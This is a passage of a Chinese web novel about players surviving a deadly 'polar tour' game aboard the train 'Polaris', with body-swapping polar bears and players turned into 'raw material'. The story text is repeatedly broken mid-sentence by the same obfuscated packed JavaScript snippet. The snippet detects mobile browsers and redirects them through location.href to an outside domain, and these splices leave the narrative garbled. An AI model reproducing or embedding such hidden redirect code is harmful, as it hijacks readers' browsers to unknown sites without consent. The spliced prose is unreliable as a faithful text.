冰门在熊群的冲击下微微颤动，却纹丝不动。后面的熊群焦躁地来回踱步，有的用爪子抓挠着门框，发出刺耳的声响；有的用肩膀撞击着栏杆，发出低沉的咆哮。一头体型较小的熊甚至试图从闸机口挤进来，却被红外线感应器烧焦了一层皮，不得不缩了回去。 门内，检票员老王正慢条斯理地喝着保温杯里的烈酒，眼皮都没抬一下。"今天来得有点晚啊，"他对着安检员小张说，"比平时晚了二十分钟。" 小张正低头玩着手机，闻言抬头瞥了眼门外躁动的熊群："可能是路上堵车吧。听说北边在修路。"她熟练地按下控制台的按钮，打开了最右侧的应急通道，"让它们从这边进吧，别把门撞坏了，上周刚换的高级冰呢。" 一头体型较小的熊率先从应急通道挤了进来，熟练地在安检机上放下随身携带的一张发票——是奢侈品店的发票！ 老王扫了眼车票：”站台B，2号车厢，别走错了。"那熊低吼一声作为回应，慢悠悠地向站台走去。 陈岩清楚地看见一楼大厅内一个套着明显刚从奢侈品店里买下的灰褐色毛绒夹克的游客，以一种不可思议的速度，和那头小极地熊交换了位置。小熊一步一变样，从四肢着地很快两脚直立，变作了那位游客的人类形态。 而那位真正的游客还未来得及发出一声惊呼，夹克上的毛便开始疯狂蠕动。那些灰褐色的毛发仿佛有了生命，如无数细小的毒蛇般钻入他的皮肤。 他想要挣扎，却发现四肢已经不听使唤，只能眼睁睁看着自己的手臂膨胀、扭曲，指甲变形成锋利的爪子。 他的骨骼发出令人牙酸的”咯咯"声，正在重新塑形。脸颊的肌肉抽搐着，向前凸起，牙齿变得尖锐，舌头变得粗糙。 在他尚未弄清到底发生了什么前，他已然四肢着地，蹒跚着走向那扇通往极地站外的大门，成为了它们中的一员。 陈岩大骇，一时不动。玛莲娜扯住他的衣领往离冰墙远处退，边退边解释：“瞧见了吗？在这里买由极地动物毛皮制成的服装，违背了’保护生态环境’的站内公告后的人的下场。” “你应该庆幸被我遇见。至于那位游客……”玛莲娜顿了顿，“既然他不是’北极星号’的乘客，那他怎样便与我无关。” 陈岩仍不说话。玛莲娜见状也没继续说什么，任由他失魂落魄地去了。玛莲娜戴回手套，消失在一楼大厅，似乎又上二楼在一排排奢侈品店附近逮住那些脑子不够灵活的玩家。 坐在极地站四楼总控室里的汪橦正目睹妮雅和极地站的总负责人言笑晏晏，你来我往的谈笑风生。三人齐齐看到了监控里发生的这幕。 极地站的总负责人自然也是认识“北极星号”的机械师玛莲娜的。见状，他笑笑对新来的汪橦解释道：“玛莲娜就是太负责了。她如果学会摸鱼，不知道会轻松多少……” 妮雅吐出一口烟圈，笑着附和负责人：“她呀，是这样的。” 汪橦不解：“为什么玛莲娜她这么在乎副本升级呢？我以为对工作人员来说，副本里的玩家存活率不重要。” 妮雅狡黠一笑：“虽然对我们来说，玩家的性命的确不重要啦。但对于玛莲娜来说，她曾经也是那些玩家的一员哦。” 总负责人带来让汪橦更惊讶的消息：“玛莲娜作为玩家，当初就是死在极地熊手里。后来总设计师大人赐予她在列车上工作的机会，她才能换个身份继续活下去。不过代价嘛，”，他意味深长地说：“就是永远只能依附于’北极星号’。” “如果有一天’极地旅游团’这个副本被总设计师大人裁撤，’北极星号’也不复存在，那么依附于列车生存的玛莲娜也会死掉。”妮雅微叹了一口气，汪橦还是第一次看见她俏丽的小脸露出如此烦恼的神情。 “你们关系真好。”汪橦小声说。 “当然！她很负责，为人也很正派。曾经副本里有玩家想骚扰我，还被她打趴下了。” 汪橦转过头继续看着总控室里的监控显示屏，心里感叹难怪玛莲娜能拿出那么多道具。原来和她以前是玩家有关系。 她警惕又庆幸，自己在这次副本里成为了乘务员，不用像其他玩家面临生存的危险。这个生存类副本的陷阱不少…… 29. 北极星号（6） “北极星号”在极地站一共停靠四小时，如今才过去不到一小时。陆续有三两个玩家下车，进入极地站的四层大楼内。 林深终于磨磨蹭蹭，小心翼翼地从列车的台阶上下来。一出站台，零下五十度的极寒让他的面部肌肉情不自禁地抽搐了两下，他顾不得皮肤快要开裂，匆匆跑下楼进入极地站内部。 林深也不知道为什么乘务员妮雅愿意帮他。对方离开自己所在车厢前，在自己的房门门框上敲下的摩斯密码转换过来，意思是“Wintercoat”，“防寒服”。 他没有细究为什么游戏副本里会出现地球上才有的摩斯密码乃至英语，眼见对方即将拉开车厢门，他急忙比了一个“耶”，意思是希望对方给自己两套防寒服。 林深不希望自己接下来三十天在列车里只穿一套防寒服穿到发馊发臭，因而另外一套用作换洗的衣物。穿上防寒服后，除了不得不裸露在外的肌肤，林深如今感觉好得多。 林深本就是一名新人玩家，他磨蹭着不敢下车，是以现在离列车停靠极地站已经过去了快三个小时。他原本想躲过其他玩家，自己安静单独、不引人注目地搜寻自己需要的物资。 不曾想，他一下电梯，刚踏上一楼地板，便听见前方传来窸窸窣窣的响动。他屏住呼吸，躲在一根立柱后面。透过立柱的缝隙，他看见大厅中央围着一群人，大约有七八个，正在争抢着什么。 “这是我的！我先找到的！”一个穿着黑色长羽绒服的男人死死抱住一个纸箱，他的额角有一道新鲜的伤口，鲜血凝固在脸颊上，像一块小小的红色犄角。 “去你马/德！”一个染着黄毛的年轻人一脚踹在男人肚子上，“谁还管先来后到？” 纸箱被踹翻在地，里面的东西哗啦啦洒了出来——是二十几包方便面和几十瓶矿泉水。周围的人顿时沸腾了，所有人都扑了上去。 林深意识到，围在这里的人恐怕都是刚进入游戏不久的新人玩家，同自己一样现在才溜下车过来捡漏的。只是看这个架势，超市和便利店怕是不剩下什么东西了。 他不由得同情起那个穿黑色长羽绒服的男人来。对方说不得是第一次进入副本，就被随机到了“极地旅游团”中，这才能解释男人为什么不直接将东西收进道具栏中，而是用箱子抱上。 可惜在副本里“尊老爱幼”不是道理，“拳头才是硬道理”成了一种共识。这个男人也是倒霉，或许他早点下来，和陈岩他们那批最早出来，早早买够东西回去，关上自己的软卧车厢房门，谁还能像这样欺负他？ “北极星号”上每位玩家的软卧车厢门只有每位玩家自己和列车的工作人员才能打开。而工作人员自己不可能会抢夺这些东西，更不会帮助其他玩家抢夺。 林深看见一个中年妇女被推倒在地，她的后脑勺重重磕上地板，发出一声闷响。但她顾不上疼痛，手脚并用地爬向最近的一瓶水。 黄毛抢到了一包方便面，转身就要跑，却被男人从背后扑倒。两人在地上扭打起来，拳头砸在□□上的闷响让人牙酸。 林深的喉咙发紧。一瓶矿泉水骨碌碌突破了内圈，竟滚到了林深的脚下。但他不想浑水摸鱼地将这瓶水收进道具栏。他不认为这群人冲动抢夺他人的行为可以让他们在这个副本里走的更远。 游戏是混乱的，但混乱的在于人心。游戏是理性的，冷静者才能发现秩序与生机。 他还是决定亲自去超市和便利店看一看，他不相信偌大的极地站会物资不足。副本既然给了玩家一个补充物资的机会，必然有暗示他们通关副本的线索存在。 尤其是清晨乘务员广播明显意味着副本上了难度后，列车就停靠了极地站。他不相信车站中只有物资可囤。 林深一路查看过去，直到他上了极地站的三楼。三楼是极地站的休闲娱乐区。 …… 他起身熟练地拽紧裹在身上的五层防寒服——转头看向倚在窗边的陈岩。 退伍兵布满冻疮的手正握着军刀，刀刃卡在座椅扶手的缝隙里。随着他猛然发力，一块带着锈迹的金属板被撬开，露出下面缠绕着冰晶的管线。“找到了。”陈岩呼出的白雾在防寒面罩上凝成霜，“按照昨天发现的规律，控暖总阀应该在…” “第2节车厢和第3节车厢的连接处。”林深接话时瞥了眼手表，23:47。距离列车安全系统每日强制重启还有十三分钟。两人踩着结冰的地板往前移动，靴底与冰面摩擦发出令人牙酸的吱嘎声。 浮现在林深脑海的是昨天当眼镜女生被冰柱刺穿胸膛时，他们看清了那些冰晶里涌动的黑影——某种东西正随着低温具象化。 “温度计显示室外已经-273.15℃了。”陈岩突然停住脚步。透过车窗，原本遮云蔽日的冰川景象正在扭曲，冰川像融化的蜡油般垂落，露出后面漆黑的虚空。 林深感觉后颈的汗毛竖了起来，那不是对寒冷的生理反应，而是生物面对异常空间的本能恐惧。 第3节车厢的门把手覆盖着厚厚的冰壳。陈岩用军刀柄砸了三次才破开冰层，门轴转动的瞬间，比车厢更刺骨的寒气扑面而来。 林深的手电光束里，密密麻麻的冰棱倒悬在车顶，像无数等待坠落的利剑。而在连接处中央，被冰霜包裹的阀门正在渗出暗红色的液体。 “这不是水。”陈岩用刀尖挑起些红色冰屑嗅了嗅，“是血。” …… 林深毫无征兆地睁开双眼，从座位上醒来，鼻腔里仿佛充斥着混合着铁锈味的寒气。他一把取下脑袋上的全息模拟头盔，无意识地用手摩挲着头盔上的镜面。 刚刚看见的场景都是什么？ -273.15℃是一个理论上的极限温度，即“绝对零度”，表示完全没有任何热运动的状态。在这个温度下，所有原子和分子的运动都会停止。1 室外温度传导到室内，他们作为普通人类，即使进入游戏后获得各种加成，在物理意义上也无法突破人类科学的极限，在绝对零度下行走自如。 人类的身体无法承受极端低温。即使在接近绝对零度的环境中，人体细胞和组织会迅速冻结和破裂，导致不可逆的损伤和死亡。 林深确定生前在地球上，目前是没有任何技术能够将人类安全地暴露在接近绝对零度的环境中。即使有先进的冷冻技术，也无法保证人体在如此极端条件下的存活。 除此以外，根据热力学第三定律，绝对零度是无法达到的。因此，讨论在绝对零度下存活的问题更多是一个理论上的假设，而非现实中的可能性。 所以说，这个游戏，你给我搞哪儿来了？ 五分钟前，林深走进三楼娱乐区的网吧。这里的网吧全部是全息游戏仓，林深随机选中一个躺进去。他刚刚戴上头盔，什么都没来得及点击就被拉入某个场景。真实得像即将发生的事。 林深深吸一口气，再一次戴上头盔，他要知道这到底是怎么回事—— …… 今天是登上“北极星号”，作为乘务员被卷入“极地旅游团”副本的第七天。汪橦起了一个大早，洗漱完后拿起书本坐到车厢里的公共壁炉旁的会客沙发上继续翻阅起来。 车厢内的温度计显示当前车内温度为-104℃。公共壁炉里燃烧的炭火的热度微乎其微，但自第二日早晨在餐车和玛莲娜谈过后，汪橦为了避免自己的出现带给部分玩家恐慌，近来一直深居简出。 她放下书，起身走到暖气旁，试图靠近一些，她伸开五指感受到暖气的温度似乎也比平时弱了许多，无法给她带来足够的温暖。 列车在广袤的极地雪原上缓缓行驶，窗外是一片白茫茫的天地，狂风呼啸着，仿佛要将整个世界吞噬。 …… 这个人是乘务员汪橦？！ 林深直觉想要通关这个副本，汪橦身为NPC，是一个非常重要的线索。同时，他和那个叫做陈岩的退伍兵，究竟是怎么一回事还得再等这个副本推进后才能知晓。 林深迈出全息游戏仓，将网吧里自动售货机里的饮料、零食一扫而空后，他正要离开返回“北极星号”。突然，他听见身后传来一声轻响。 那声音很细微，像是鞋底碾过碎玻璃。林深浑身的寒毛都竖了起来，他缓缓转身，看见一个黑影正从检票口的方向慢慢靠近。 那是个奇怪的人。他顶着一头黄毛，目光呆滞，嘴角流涎。他的动作很慢，但异常安静，如果不是那一声轻响，林深根本发现不了它。 更糟糕的是，在他身后，还有更多的黑影在晃动。 怎么回事？林深两股战战，几欲先逃。他想不明白这个名为“极地旅游团”的副本怎会如此无厘头？ 作为生存类副本，从目前各种信息综合来看，简直融合了类似《后天》的气候灾害，小说里末日的人类勾心斗角等各种桥段。现在这是要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991971|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他上演《釜山行》？！ 他刚穿来，得知这个游戏名字叫做“天钧”的时候已经觉得很奇怪了……系统0202告诉他“天钧”是总设计师大人亲自命名。当时他便觉得游戏总设计师不但像是个地球人，还像个中国人。 林深屏住呼吸，开始后退。就在这时，身后传来一个柔和的人声：“别怕，他们是原材料。” 林深猛地转身，妮雅正站在他背后两米处，笑吟吟地看着他。妮雅身旁站着一个膀大腰圆的男人。 从妮雅肩上探出一个黑色的小脑袋，林深印象深刻，那是另外一位乘务员，副本刚开始就从玩家成为了列车工作人员的汪橦。 膀大腰圆的男人扫了林深一眼，什么也没说。他走到网吧吧台后边，嘀嘀声后，一个银色面板浮起。只见男人上下左右操作了一番，网吧里的全息游戏仓开始一排排闪烁起蓝色光芒。 看来这个男人是网吧的老板。 林深觉得男人很危险，妮雅也很危险。但他此刻还是依照身体的本能下意识往妮雅背后躲去。他哆哆嗦嗦地问：“这些原材料，不是玩家吗？” 听完这话，妮雅慢慢回头，盯着林深：“五分钟前他们还是玩家。可惜他们扰乱了车站秩序，工作人员劝告无效，甚至有人冲车站工作人员动手。这就是他们的下场！” 汪橦缩在妮雅身后，心里默叹这群玩家也是不幸。她有幸从监控屏上目睹了他们变成这样的全过程—— 一群玩家在一楼闹得不可开交。这不是什么大事，车站嘛，向来都是人声喧沸的，吵吵闹闹在极地站这么个边陲景点车站反而是不可多得的美景。 于是站内一楼的安检员、售票员还有店铺的工作人员纷纷从岗位上探出脑袋欣赏玩家们的身姿。原本两群人相安无事，一方只把另一方当作上班之余消遣的乐子。 可是，一个汽水易拉罐突然凭空而起，飞到离他们最近的一个安检员脸上，砸得人满身汽水。这下大厅内的保安不得不管玩家们，上前制止玩家们继续哄闹。 没人听他的，争吵间，推搡间，一个拳头直击保安大叔的眼眶。 这群弱势玩家公然违反了极地站站内公告上写的： 【3.请听从工作人员的指挥，注意安全。】 不听从工作人员的指挥还殴打了工作人员，罪加一等。 “都别动。”一个冰冷的枪响声音在大厅响起。“全部转过来，慢慢转。” 玩家们不得不照做了。保安队长站在门口，手里握着一把枪。他的脸上平静。从他的背后缓步走出一个西装革履将头发用发胶牢牢向后固定的男人。他微笑着开口： “正好，我们正缺材料。” 保安队长闻言低头答应，将他的手按在墙上，整个极光站突然亮了起来。刺眼的白光让所有人不得不闭上眼睛。等玩家们再次睁开时，他们已经不再是“玩家”。 “没想到你竟然是第一个戴上全息头盔的玩家。那些比你先下来的，几乎没有到三楼来呢。来了的零丁几个人，看到是网吧径直走开了。”妮雅感叹林深看起来胆怯，他却发现了重要的线索。 林深的心跳漏了一拍。 妮雅补充了一句：“恭喜你，发现这里根本就不是网吧。” 汪橦提示林深：“不只是网吧，那些全息头盔会在你戴上时刺激你的大脑潜能，所以这里也是实验室。” 网吧老板又操作了几下，林深眼睁睁目睹那些黑影一个个自觉走进房间，找到游戏仓躺下。他看见老板在面板上按下一个按钮，游戏仓内部突然亮起刺眼的蓝光。 蓝光持续了一段时间方才消失，随着游戏仓舱门打开，林深发现里面的玩家们全部不见人影。唯独汩汩蓝色液体沿着游戏仓尾部一根细管流出，一直延伸到放在老板面前的一排试管中。 “好了。小朋友，姐姐看你可爱才向你剧透这么多的哟。后面你不能再看了。快回车上去！”妮雅用手拍拍林深的肩膀，要求他快走。 林深受到眼前的巨大冲击正思绪繁杂，就这么顺水推舟地朝网吧外走去，不一会儿回到了列车上。 离“北极星号”发车还剩一分钟，汪橦跟着和极地站内几乎所有工作人员都打招呼唠了一遍的妮雅踩点跑回到车上。 汪橦看着站台上凝结的冰花在列车带来的震动中簌簌落下。在这个被永恒寒冬统治的世界里，极地站就像一座水晶宫殿，在列车身后远去。 30. 极地夜话（未完勿点） 这次的副本是“极地旅游团”。 玩家们需要待在这趟名叫“北极星号”的豪华旅游专列上整整三十天，和它一起穿行在极境雪原中。第三十天的时候，谁还活着谁就通关了“极地旅游团”副本，也就是——旅行结束。 这一路的极地风光确实壮美。既有一览无余，无垠银色的雪原，又有巍然耸立，蓝白渐变的冰山。白天阳光灿烂，夜晚繁星满天。整个天地开阔得让人心情也变好了。 一路上列车已经停靠了两个站点。车内温度下降到零下五十度。很冷。 不过对于历经游戏考验的玩家来说，大家或多或少都准备好了各种保暖措施。所以直到第十四天，玩家存活率达到70%以上。 今天正是副本开始以来的第十四天。今天白天，“北极星号”停靠在极地站。 夜晚的“北极星号”寒意逼人，大家早早去餐车打完卡就各自回到自己的软卧车厢中休息以保存热量。往常这种时候，我早已陷入熟睡。可今晚不知为何，我异常兴奋，翻来覆去地睡不着。 这种神经上的活跃其实是非常无厘头的，耳边似乎响起某种陌生的声音，令我毛骨悚然。 我浑浑噩噩地睡了过去。一个点头的时间，我醒了过来。 我迷茫地揉了揉眼，后知后觉地意识到比起揉眼睛，我更应该掏耳朵。因为，我的门被敲响了一下。 我以为是幻听，闭眼继续睡觉，没有理会。 但是过了一会儿又敲了两下，我还是闭眼不理。在游戏里，每一个经历过一个以上副本的玩家都懂得不要给陌生人开门的重要性。而“极地旅游团”里并没有我的熟人。 我悄悄翻身，侧躺着缩在被子里，用眼神瞅着门缝的光影——投在地上的一道黑影先是站住不动好一会儿，见我不理他后只好窸窸窣窣地离开了。 因为车厢内室温已落到零下五十度左右，每个夜晚玩家们都会尽可能打开屋内的取暖器。我的火炉释放着温暖的光芒，使我得以看清狭窄的门缝里那道黑影的一点动作。 在那之后，什么也没有发生。我一如既往地睡得很好。 第二天，副本里的第十五天。 餐车由于供应开始限量，我又必须完成“每日餐车消费一次”的要求，索性醒来后就去餐车等着买早餐。 有人比我到的更早。是“北极星号”上的一个男乘务员。他今天披着一件宽大的风衣，帽子压得很低，遮住了大半张脸。 他静静拿着一张报纸来读，坐在车厢角落里，时不时喝一口桌上的咖啡。 即使是将每晚查寝的单方面见面算进在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995543|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内，我与列车组的工作人员们碰面的次数也少得可怜。我端着早餐随意找了个对角线的位置坐下。我想离对方足够远。我塞了口香肠，隔着报纸看了对方一眼。他似乎察觉到我的视线，放下报纸。 他放下报纸的动作总让我觉得有一种违和感，可具体哪里不对劲我却说不上来。好比一个身形高大的人，动作却出奇地轻盈，仿佛他刻意地放轻每一步，避免引起注意。 如果那个时候我可以多停留一会视线的话，我就可以提早发现他抬头扫视周围时，眼神中不自觉的贪婪。 当天晚上什么奇怪的事情都没有发生。我同往常一样，很快就入睡了。 副本里的第十六天，离开极地站后的第二天一早，在餐车里我又遇见了那位男乘务员。不过这一次，我来得比他早。 “一份肉排。” 他冲后厨喊到。他的声音过于粗犷低哑，说出口时，他的声带似乎连带着周遭的空气一起振动，像蜂鸣器嗡鸣得让人听不清。 我总觉得哪里不太协调。倒不是说他的声线和他的身形不匹配，而是他似乎是说话时仅仅在喉咙里咕哝了一圈，就这么将话吐了出来，以至于听不清。 他接过餐盘，向旁走去。他走路时脚步略显沉重，随意坐在车厢角落便翻开一本杂志看了起来。 31. 北极星号（7） “过程就是这样。”玛莲娜结束她的回忆。 返回车厢后，汪橦、妮雅、玛莲娜三人又同列车第一天般齐聚在02号车厢的会客沙发上。玛莲娜告诉汪橦，那个时候副本里的极地熊尚有很多非人之处。 但是随着副本一次又一次的重复，极地熊的族群在和人交换身份的过程中，不断的模仿、学习人类的记忆，它们正在飞速进步。 “幸好这一次多亏了你，没有极地熊取代乘客上车。”汪橦衷心发出感慨。 “不过”，汪橦好奇问道：“你当时没有见到这个游戏的总设计师长什么样吗？” 玛莲娜轻轻摇头，汪橦不无遗憾地止住自己的话。这边还在“八卦”，殊不知，玩家所在的另外几节软卧车厢中正疯狂流传一个“极地站有鬼”的故事。 起初，一个玩家对另一位玩家吐槽极地站有小偷，自己就上了一趟洗手间，衣服便莫名其妙从放在洗手台上的礼盒里消失不见。 同车厢一个大聪明也买了皮草，隔着房门听见后探出脑袋，不禁附和说自己的衣服同样是在自己逛超市时不翼而飞。 就这么一路传播到其他车厢后，玩家们纷纷发现凡是在极地站二楼购买了带皮毛的昂贵衣物，哪怕是一顶帽子，全部被偷走了。 神奇的是，没有一个玩家看见小偷，无论是正脸，亦或者是一个背影。 有玩家认为是车上有道具的玩家干的，却被另外的玩家反驳除非是“传奇级别”的道具，否则不可能有玩家可以四小时之内几乎没有冷却时间、不间断地偷了这么多玩家。 02号车厢里，正在讲述自己防止玩家们中计的过程的玛莲娜向汪橦展示了她的另一项技能： 【技能名称：如变色龙的盗贼机制 所属职业：潜行者 效果：随环境变化，隐藏自己的身形并发动一次盗窃。请注意，一天之内同一对象只能盗窃一次，一次只能盗窃一件物品。如遇失败，当天内技能不能对该对象再次发动。】 由于这次副本里几乎没有高级玩家，没人接触过游戏里玩家可以培养的具体职业方向。他们不清楚游戏里有玩家是“潜行者”。 于是传来传去，成了一个日后写入玩家集散地内部广泛流传的经验贴的更新讯息，那便是：站内有鬼。 去了极地站的当天晚上，汪橦按照那份广播稿的要求，再次来到广播室： “各位玩家，晚上好！” “即日起，餐车不再面向旅客提供早午餐，餐车将于每晚六点半面向旅客开放晚上的自助餐。餐车酒吧歇业。” “同时，请各位玩家注意：因为列车后勤补给不足，乘务员将停止供应任何取暖用品。” “由于食物有限，晚上的自助餐开放期间，请各位玩家尽可能早点进入餐车车厢。餐车食物不可外带。” 播报完后，汪橦找妮雅和玛莲娜确认了列车上物资短缺不会影响动车组工作人员的生活起居。餐车仍然照常提供工作人员的早午晚餐。02号车厢依然温暖如春，热水、暖气持续供应。 简言之，身为乘务员，汪橦歌照唱、舞照跳，玩家们的生存困境是副本剧情设计，与她没有关系。她可以在职责范围内提供帮助，但也就仅此而已了。 汪橦舒舒服服地洗完澡便换好衣服出门查寝，准备查完寝回来倒头就睡。 她推着小推车，一间间房门开过去。今晚她和妮雅调换了检查的车厢顺序。她负责检查列车前面的三节软卧车厢，也就是04、05、06号车厢。 她从04号开始老实推了一路车，正要离开06号车厢的后车厢门，返回02号车厢时，背后忽然传来一声气息不稳，微弱的呼唤： “你好，我想买袋瓜子。可、可以吗？” 汪橦转回身，发现是06号车厢9号床的那位玩家。如今车厢内温度已降至零下五十度，生前地球上一些品牌的厚羽绒服打广告时也会宣传自己最低能支持零下五十度的温度。 所以，在副本里，这个只穿一层防寒服的年轻男生尚且可以站在走廊里跟自己对话。但他似乎很害怕，面上带着试探的神色。 汪橦误以为对方只是太饿又怕违反夜晚没有老实待床上的规则，但是她知道对方恰好利用了规则的空白。 她微微提起小推车，将它调了一个头，推往9号床的房门口。接着取出一袋瓜子，递给正抿住唇，似乎想要说什么的年轻男生。 这个年轻男生用1积分换了一袋瓜子后，轻轻将房门拉开一条更宽的缝。轻声问道：“你、你愿意进来和我谈一谈吗？我有事找你……我叫林深。” 林深从极地站返回车厢后，着实慌张了一阵。不过很快，他便恢复镇定。因为脑海中响起了0202的机械声，0202告诉他因为主动探索副本内地图，发现重要线索，获得奖励1个。 林深打开面板一看，邮箱里他收到一个崭新的全息游戏仓。 他立刻联系起下午在极地站里见到的一幕幕。 老实讲，林深现在不太想躺进全息游戏仓。他只要看见这台游戏仓，那些玩家被制作成一管管蓝色液体的画面便拂之不去。 尽管他理性上知道自己迟早需要躺进去，亲自探索这一台全息游戏仓的功能，搞清楚系统奖励给他这个的奥秘。 问题有很多，不过他想先完成第一步：找到玩家陈岩和乘务员汪橦。 林深晚餐时进入餐车车厢，寻找陈岩。他戴上头盔时所身临其境的那段场景里，两人的对话并未提及对方的姓名。 林深只得根据记忆里对方的长相，自己在傍晚时分过来用餐时碰碰运气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024763|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不巧，汪橦的广播是在夜间用餐停止后播放的，也就意味着今天白天时已经前往餐车消费过的陈岩不会为了在最后一天三餐都开放时能吃一顿是一顿而一定前往餐车买晚餐。 林深铩羽而归，只好转而寻求汪橦的帮助。 在寻求汪橦的事情上，他运气不错。前两天一直是妮雅负责前半节车厢，汪橦负责后半节。今晚偏巧赶上两人换顺序。 林深最开始并不知道是汪橦在查寝，他闭眼时，下意识在思考上哪里去找对方，找到对方自己该怎么说才能让人相信呢。 当汪橦推着零食车进入06号车厢，公式化询问有没有人需要购买啤酒巴拉巴拉时，林深听出这是汪橦的声线。 汪橦的声线相比妮雅要低沉一些。因而两人极容易被区分开。 正所谓“打瞌睡就有人递枕头”，他回想起早前的广播里说过： 【晚上十点全列停电。停电后，乘务员会全列检查，希望各位乖乖待在床上，不要随意走动。】 所以第一，他要保持闭眼、安静等汪橦完成查寝，即将离开车厢时的机会，不违反乖乖待在床上的规定； 第二，不得随意走动，但自己可以找到一个不得不走动的合理借口，与汪橦搭上话。 汪橦很疑惑地挑起一边眉头，皮笑肉不笑地一只脚踩在门与走廊之间的分界上：“你还记得两天前的晚上广播里的惨叫吗？那个被我杀掉的人也是想让我进去。” 汪橦面上平静，心中却愤怒和悲哀交织，尤其愤怒更盛。 才短短两天，就又有人坐不住想要杀死自己成为新乘务员？自己到底哪里会被人盯上？难道那天杀人的方式还不够狠吗？ 她不着痕迹地上下打量一番面前的这个年轻男生，瘦弱，是他给人的第一印象。这样的人也会想要冲自己下手？他到底是高估了他自己，还是瞧不起汪橦？ 极地站里见识到无论是陈岩还是曾经身为玩家的玛莲娜都能拿出强力有用的道具和技能后，汪橦的心态发生一定的转变。 她曾经天真地自信在这趟列车上如果遇上和其他人之间的一对一，自己能有足够的胜率。但是玩家们拥有的东西比她多得多。 汪橦不得不承认油然而生的挫败感加剧了她的不安，不安转化为某种应激似的多疑。现在，她正藏在黑暗中，以一种极具恶意的眼神打量林深。 “我记得！我和他不一样！”，林深小声辩白道：“你还记得这个吗？” 他点开自己的游戏面板送到汪橦眼前，示意她看。 汪橦垂眼看见蓝色的光面上显示林深收到系统奖励的一台全息游戏仓。她闭了闭眼，努力遏制自己的恶念，一边告诫自己不要忘记玛莲娜的劝诫，一边踏入林深的房间坐在他的沙发上。 “说吧，你想要什么？” 32. 北极星号（8） 车厢内，尽管有暖气在拼命工作，但那微弱的热量似乎根本无法抵御这零下100多度的深度极寒。空气中弥漫着一种刺骨的冰冷气息，让人不寒而栗。 如今是副本里的第七天，缺少各类取暖装备的新人玩家几乎都挤在会议室车厢里抱团取暖，会议室里放着各种各样的取暖器、加热器。 不像老玩家中，一部分人进副本前就准备好了各类取暖装备甚至道具，一部分人则在副本内要么最早一批让乘务员提供各式取暖装备，要么早早下车进入极地站的超市、便利店买好了东西。 出现在会议室车厢里的每个新人玩家都裹得严严实实，即便如此，寒冷还是无孔不入地钻进他们的身体，冻得他们瑟瑟发抖。 寒冷似乎无处不在，它从四面八方渗透进来，让人无处可躲。玩家们每一次呼出的水汽都在空气中凝结成了一粒粒冰碴子。 在这种极端低温环境下，玩家们的身体机能受到了极大的影响。 即使有保暖手套，他们的手指仍然变得僵硬，几乎无法弯曲，连简单的拿东西动作都变得异常困难。嘴唇干裂，吸入的冰冷空气则像刀子一样割着喉咙，让人忍不住咳嗽。 每晚03号餐车车厢的开放时间，对所有玩家来说，是他们一天中最欢欣鼓舞的时候。 虽然副本里如今才度过了一周，但零下一百四十度的气温足以让所有普通玩家心生倦怠，只想快快结束副本回集散地大睡一觉。 傍晚时分的03号车厢，似乎供应了整辆列车的暖气，玩家们不必佝偻着背，缩脖探脑，双手插兜作出保存体力的辛酸模样。 列车的窗户上结满了厚厚的冰花，透过冰花的缝隙，可以看到外面的雪花在狂风中飞舞，像是无数白色的幽灵在空中乱窜。 甫一从走廊拉开03号车厢后门，一股暖意扑面而来，前后挤成一团的玩家们纷纷露出幸福的笑容。 虽然第三天从极地站启程的当晚，乘务员在广播里宣布：“食物有限。” 截止第一周的最后一天，玩家们仍然可以在饿了一天后从自助餐里找到填饱自己肚子的食物。这让那些从极地站囤了一批食物的玩家，直到今天，还没有将那些食物派上用场。 晚饭前，玩家冷得发颤，现下在餐车里的玩家们却热得微微冒汗。 眼见餐车内的玩家人数激增，他们脱下外衣随意搭在椅背或沙发边，撸起袖子，轻松地在03号车厢内挑选食物—— “嘀嘀，检测到有乘客携带食物外出。” “嘀嘀，检测到有乘客携带食物外出。” “启动清除程序——” 无机质的机械合成音突然在全列车厢内响起，冰冷而刺耳。即便是那些还未踏入03号车厢的玩家，也能在列车的每一个角落清晰地听到这令人不寒而栗的通报。 一位穿着黑色长款羽绒服、面容圆润的中年妇女，正茫然失措地站在后门的车厢衔接处。她，显然是机械音所指的“清除对象”。 机械音刚落，中年妇女便尖声惊叫：“不是我！我没有偷拿食物！一定是搞错了！” 后门处，十几位正排队进入03号车厢的玩家见状，立刻后退，挤入04号软卧车厢，目光警惕地注视着这位妇女的一举一动。 餐车内原本温馨的氛围瞬间凝固。 有人举到一半的叉子停在嘴边，香肠悬在唇边；有人僵在原地，仿佛自己就是被检测的对象。一片死寂，连针落地的声音都能听见。 